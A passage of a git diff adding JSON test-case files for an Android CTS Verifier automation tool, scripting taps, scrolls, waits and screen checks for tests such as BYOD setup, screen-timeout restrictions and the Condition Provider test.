+{"uuid":"dd4aaec7-a59b-4646-8cc4-039a19853f62","details":"{\"type\":\"CompoundAction\",\"name\":\"Press Go on dialog\",\"actionId\":\"dd4aaec7-a59b-4646-8cc4-039a19853f62\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, id/button3\",\"actionId\":\"2dbee3ca-1283-470e-a940-d29a0a396bec\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":false,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button3\"}],\"childrenIdList\":[\"2dbee3ca-1283-470e-a940-d29a0a396bec\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Press Go on dialog","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.322000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ddb13fe9-0508-4af0-b71e-ef96fc1f518a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ddb13fe9-0508-4af0-b71e-ef96fc1f518a
new file mode 100644
index 0000000..4379213
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ddb13fe9-0508-4af0-b71e-ef96fc1f518a
@@ -0,0 +1 @@
+{"uuid":"ddb13fe9-0508-4af0-b71e-ef96fc1f518a","details":"{\"type\":\"CompoundAction\",\"name\":\"Check if it's on the main screen of BYOD\",\"actionId\":\"ddb13fe9-0508-4af0-b71e-ef96fc1f518a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY-if it's on the main screen of BYOD\",\"actionId\":\"31d1de1e-bad7-46d0-941f-a2be387ff6b1\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.cts.verifier:id/prepare_test_button\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"31d1de1e-bad7-46d0-941f-a2be387ff6b1\",\"544656b1-7930-44f1-ba63-fdafd4b08b09\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Check if it's on the main screen of BYOD","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.317000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ddbc4d31-a035-4eec-814a-def0efb2bfa5 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ddbc4d31-a035-4eec-814a-def0efb2bfa5
new file mode 100644
index 0000000..4e5a879
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/ddbc4d31-a035-4eec-814a-def0efb2bfa5
@@ -0,0 +1 @@
+{"uuid":"ddbc4d31-a035-4eec-814a-def0efb2bfa5","details":"{\"type\":\"CompoundAction\",\"name\":\"15-20 &amp; 17-06-10-Disallow config screen timeout\",\"actionId\":\"ddbc4d31-a035-4eec-814a-def0efb2bfa5\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config screen timeout\",\"actionId\":\"ba6b5401-c43c-4116-8834-8c49a2e4b974\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config screen timeout\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"4d1688ef-b022-438c-979c-d4eed8fa0c84\",\"displayText\":\"Disallow config screen timeout\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config screen timeout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":308.0,\"x2\":360.0,\"y2\":352.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":106.0,\"y\":327.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":74.0,\"y\":3.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"4d1688ef-b022-438c-979c-d4eed8fa0c84\",\"firstText\":\"Disallow config screen timeout\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config screen timeout\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":8.0,\"y1\":311.0,\"x2\":204.0,\"y2\":343.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config screen timeout\",\"actionId\":\"4271cbae-d6f5-441d-8c7d-382f8ce523c6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config screen timeout\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Screen timeout\",\"actionId\":\"33f0c04a-0879-46af-8848-423bc5e44898\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Screen timeout\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"5c08790a-de4d-4a43-a1d1-46a688383499\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"57a95ead-4278-435f-9375-aa9eee2003d6\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"ba6b5401-c43c-4116-8834-8c49a2e4b974\",\"4271cbae-d6f5-441d-8c7d-382f8ce523c6\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"33f0c04a-0879-46af-8848-423bc5e44898\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"5c08790a-de4d-4a43-a1d1-46a688383499\",\"57a95ead-4278-435f-9375-aa9eee2003d6\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-20 &amp; 17-06-10-Disallow config screen timeout","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.150000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dec009bd-6ca5-4baa-81d1-a00929a711a4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dec009bd-6ca5-4baa-81d1-a00929a711a4
new file mode 100644
index 0000000..f4fc8bb
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/dec009bd-6ca5-4baa-81d1-a00929a711a4
@@ -0,0 +1 @@
+{"uuid":"dec009bd-6ca5-4baa-81d1-a00929a711a4","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Condition Provider test\",\"actionId\":\"dec009bd-6ca5-4baa-81d1-a00929a711a4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Condition Provider test\",\"actionId\":\"ce660a6f-6636-4ae3-a3aa-74797604f9a9\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Condition Provider test\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"fd76e63f-1b3b-45a0-8c5d-7d319d05bfd0\",\"displayText\":\"Condition Provider test\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Condition Provider test\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":410.0,\"x2\":350.6666666666667,\"y2\":454.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":97.0,\"y\":437.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":83.0,\"y\":-5.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"fd76e63f-1b3b-45a0-8c5d-7d319d05bfd0\",\"firstText\":\"Condition Provider test\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Condition Provider test\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":12.0,\"y1\":420.0,\"x2\":182.0,\"y2\":455.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Condition Provider test\",\"actionId\":\"764f69e1-13ea-4221-9366-1ed04690f270\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Condition Provider test\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 55 secs\",\"actionId\":\"f9f5c8ed-a060-4df8-97bb-394c3b954ec4\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":55000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify automatic Zen Rule listing page exists\",\"actionId\":\"02c07c4a-39e1-43fb-9d3c-691a04cfb82a\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.settings:id/zen_automatic_rule_widget\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"efeafd59-78ca-4f2a-8d96-ee7588d72b9b\",\"displayText\":\"Settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"12bfc9ab-5050-4143-9728-386ef9c5b916\",\"displayText\":\"Sleeping\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"e65d9021-cee1-409d-8d2f-00b47581f464\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"0bb82810-401f-49de-9cfa-c1f2d21d45c3\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.CheckBox\",\"resourceId\":\"android:id/checkbox\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":158.33333333333334,\"x2\":44.0,\"y2\":187.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/checkbox_container\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":151.0,\"x2\":66.0,\"y2\":195.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"\"},{\"uuid\":\"4b110a12-9171-4ab6-9a50-78392b8f4d2a\",\"displayText\":\"Sleeping\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"cd351bc4-d1e0-4aed-85b6-9d3bea853300\",\"displayText\":\"Sleeping\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Sleeping\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":154.33333333333334,\"x2\":123.0,\"y2\":174.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Sleeping\"},{\"uuid\":\"b28a275c-580d-40a7-ae8f-bb7da867027b\",\"displayText\":\"Off\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Off\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":174.0,\"x2\":84.33333333333333,\"y2\":191.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Off\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":139.66666666666666,\"x2\":285.6666666666667,\"y2\":206.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Sleeping\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":139.66666666666666,\"x2\":300.3333333333333,\"y2\":206.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Sleeping\"},{\"uuid\":\"a6a7739c-350b-4f44-a187-82aef1c26c84\",\"displayText\":\"Settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"743a2b2c-b9c2-45df-bbc7-2d38a590bf68\",\"displayText\":\"Settings\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"13728183-9eb0-471a-b039-28ca2a953454\",\"displayText\":\"Settings\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.settings:id/zen_automatic_rule_widget\",\"contentDesc\":\"Settings\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":305.0,\"y1\":139.66666666666666,\"x2\":356.3333333333333,\"y2\":206.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.6666666666666288,\"y\":-0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Settings\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":305.0,\"y1\":139.66666666666666,\"x2\":356.3333333333333,\"y2\":206.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Settings\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"android:id/widget_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":301.3333333333333,\"y1\":139.66666666666666,\"x2\":360.0,\"y2\":206.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Settings\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":139.66666666666666,\"x2\":360.0,\"y2\":206.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":328.0,\"y\":173.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-148.0,\"y\":-0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"13728183-9eb0-471a-b039-28ca2a953454\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.settings:id/zen_automatic_rule_widget\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":309.0,\"y1\":159.0,\"x2\":347.0,\"y2\":188.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"5c49717e-2937-422a-9734-5fc15b8b2257\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to pass button\",\"actionId\":\"03ddbb83-3325-4bd6-888a-e4030741d032\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.cts.verifier:id/iva_action_button_pass\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"5bb54e06-2484-4852-a552-d2f6a0b8401b\",\"displayText\":\"Pass\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"6330b730-1d26-436d-beef-f901b0aaeedb\",\"displayText\":\"Pass\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"com.android.cts.verifier:id/nls_status\",\"contentDesc\":\"Pass\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":348.3333333333333,\"x2\":47.666666666666664,\"y2\":386.6666666666667},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pass\"},{\"uuid\":\"a24a7f1a-9f3b-4a63-8493-89d8a39335b1\",\"displayText\":\"Was the automatic rule screen shown?\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.cts.verifier:id/nls_instructions\",\"text\":\"Was the automatic rule screen shown?\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":47.666666666666664,\"y1\":339.0,\"x2\":350.6666666666667,\"y2\":361.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Was the automatic rule screen shown?\"},{\"uuid\":\"ea6e4381-6e9e-4fb0-a8d4-22a468649afa\",\"displayText\":\"Pass\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.cts.verifier:id/iva_action_button_pass\",\"text\":\"Pass\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":361.3333333333333,\"x2\":332.3333333333333,\"y2\":405.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.1666666666666572,\"y\":-0.6666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Pass\"},{\"uuid\":\"d60ba4d2-33e0-4497-a659-04a3305b36d0\",\"displayText\":\"Fail\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.Button\",\"resourceId\":\"com.android.cts.verifier:id/iva_action_button_fail\",\"text\":\"Fail\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":405.3333333333333,\"x2\":332.3333333333333,\"y2\":449.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Fail\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":339.0,\"x2\":350.6666666666667,\"y2\":449.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":198.0,\"y\":384.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-18.0,\"y\":10.166666666666629,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"ea6e4381-6e9e-4fb0-a8d4-22a468649afa\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"com.android.cts.verifier:id/iva_action_button_pass\",\"selectedType\":\"RESOURCE_ID\",\"selectedBound\":{\"x1\":163.0,\"y1\":377.0,\"x2\":233.0,\"y2\":391.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, id/iva_action_button_pass\",\"actionId\":\"7d721a63-0ebd-4ca5-be5b-cf0798913b21\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/iva_action_button_pass\"},{\"type\":\"SwipeAction\",\"name\":\"up\",\"actionId\":\"716e4fd6-9e8a-4128-a3e4-1dfb1a63f4d2\",\"actionType\":\"SWIPE_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"startX\":180,\"startY\":620,\"endX\":180,\"endY\":320,\"startPointNodeContext\":null,\"endPointNodeContext\":null},{\"type\":\"ClickAction\",\"name\":\"Click Action, 123\",\"actionId\":\"9d613358-0e1a-4b3d-aeaf-385a8aebe8cb\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"123\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"c83eb4f7-4cee-4926-a4d7-000aae67814f\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, 123\",\"actionId\":\"d254e52c-6f38-4452-83ec-8f28d0177425\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"123\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"9a7bf5ac-407f-429d-bba6-b59bf36ad109\",\"actionType\":\"INPUT_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, More options\",\"actionId\":\"04775cd0-58b4-4510-be20-d69eb1221fcc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"More options\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Delete schedules\",\"actionId\":\"fbff2dad-9f80-4166-bc09-7045fe67f305\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Delete schedules\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, 123\",\"actionId\":\"9b834c3e-56ef-4d6e-99dd-61db72944a96\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"123\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, delete button\",\"actionId\":\"dea6bcc9-ca10-4d05-973b-8b836fe1ece0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"},{\"type\":\"InputAction\",\"name\":\"Back 